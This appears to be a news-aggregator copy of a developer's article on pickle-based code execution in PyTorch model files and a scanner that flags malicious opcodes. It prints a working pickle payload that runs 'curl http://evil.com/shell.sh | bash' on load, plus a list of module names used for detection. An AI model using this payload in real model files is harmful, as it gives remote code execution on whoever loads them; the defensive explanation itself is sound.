cd /news/cybersecurity/your-pytorch-model-file-can-execute-… · home topics cybersecurity article
[ARTICLE · art-685] src=dev.to ↗ pub= topic=cybersecurity verified=true sentiment=↓ negative

Your PyTorch Model File Can Execute Arbitrary Code — Here's How I Built a Scanner to Detect It

PyTorch's `torch.load()` function uses the Python pickle format for serialization, which inherently executes arbitrary code when loading a file, making it trivially exploitable for remote code execution (RCE) attacks. The author built a scanner called Model-Supply-Chain-Auditor that disassembles pickle bytecode using Python's `pickletools` module to detect malicious patterns like dangerous imports (e.g., `os.system`) and REDUCE opcodes, without executing the file. The article emphasizes that while detection is reactive, the proactive defense is cryptographic model signing, and warns that every `.pt` file from untrusted sources is a potential attack vector.

read2 min views23 publishedMay 19, 2026

Every time you run torch.load("model.pt"), you're executing arbitrary Python code. Not "could theoretically execute" — actually executing. The pickle format that PyTorch uses for serialization has a built-in code execution mechanism, and it's trivial to exploit. I built a tool to detect this. Here's what I learned. The Attack: 4 Lines of Code

import pickle, os
class Backdoor:
def reduce(self):
return (os.system, ("curl http://evil.com/shell.sh | bash",))
payload = pickle.dumps(Backdoor())

That's it. When someone loads this pickle — whether it's disguised as a model checkpoint, a dataset, or a config file — the command executes. No warnings. No prompts. Full RCE. The reduce method tells pickle how to reconstruct an object. But "reconstruct" means "call this function with these arguments." Any function. Any arguments. ** Why This Matters for ML** ML models are distributed as serialized files: In 2023, HuggingFace found malicious pickles in uploaded models. This isn't theoretical — it's happening. How Detection Works: Opcode Disassembly Python's pickletools module can disassemble pickle bytecode without executing it. Here's what a malicious pickle looks like at the opcode level: PROTO 4 FRAME 25 SHORT_BINUNICODE 'nt' ← module name (os on Windows) SHORT_BINUNICODE 'system' ← function name STACK_GLOBAL ← load nt.system as callable SHORT_BINUNICODE 'whoami' ← argument TUPLE1 ← pack into tuple REDUCE ← CALL the function STOP The key insight: STACK_GLOBAL loads a callable by module + name, and REDUCE executes it. If the module is os, subprocess, socket, or builtins — it's malicious. My Scanner:

I built Model-Supply-Chain-Auditor (https://github.com/poojakira/Model-Supply-Chain-Auditor) to parse these opcodes and flag dangerous patterns:
from src.scanners import scan_pickle_bytes
result = scan_pickle_bytes(suspicious_data)
print(result.risk_level) # "malicious"
print(result.findings) # ["DANGEROUS import: nt.system", "Code execution via REDUCE"]

It handles pickle protocols 0-5, including the protocol 4+ STACK_GLOBAL pattern where module and name are pushed to the stack separately. What I Got Wrong Initially On Windows, os.system pickles as nt.system. On Linux, it's posix.system. My first version only checked for os — missed both platform-specific variants. Lesson: always test on actual bytecode output, not what you think it should be. The Defense: Model Signing Detection is reactive. The proactive defense is cryptographic signing: If the signature doesn't match, don't load it. What This Doesn't Solve The Takeaway: If you're down model files from the internet: The ML community is slowly moving toward safer serialization. Until then, every .pt file is a potential attack vector. Code: github.com/poojakira/Model-Supply-Chain-Auditor (https://github.com/poojakira/Model-Supply-Chain-Auditor)

── more in #cybersecurity 4 stories · sorted by recency
── more on @pytorch 3 stories trending now
sponsored brought to you by zahid.host 4,200+ EU-deployed projects
reading about agents? ship yours in a single git push.

Run your AI side-project on zahid.host

EU-based hosting, git-push deploys, automatic HTTPS, no cold starts. Free tier with a custom domain — perfect for shipping the agent you just read about.

$git push zahid main
Live at https://your-agent.zahid.host
Get free account → Pricing
from €0/mo · no card required
LIVE [news/your-pytorch-model-f…] indexed:0 read:2min 2026-05-19 ·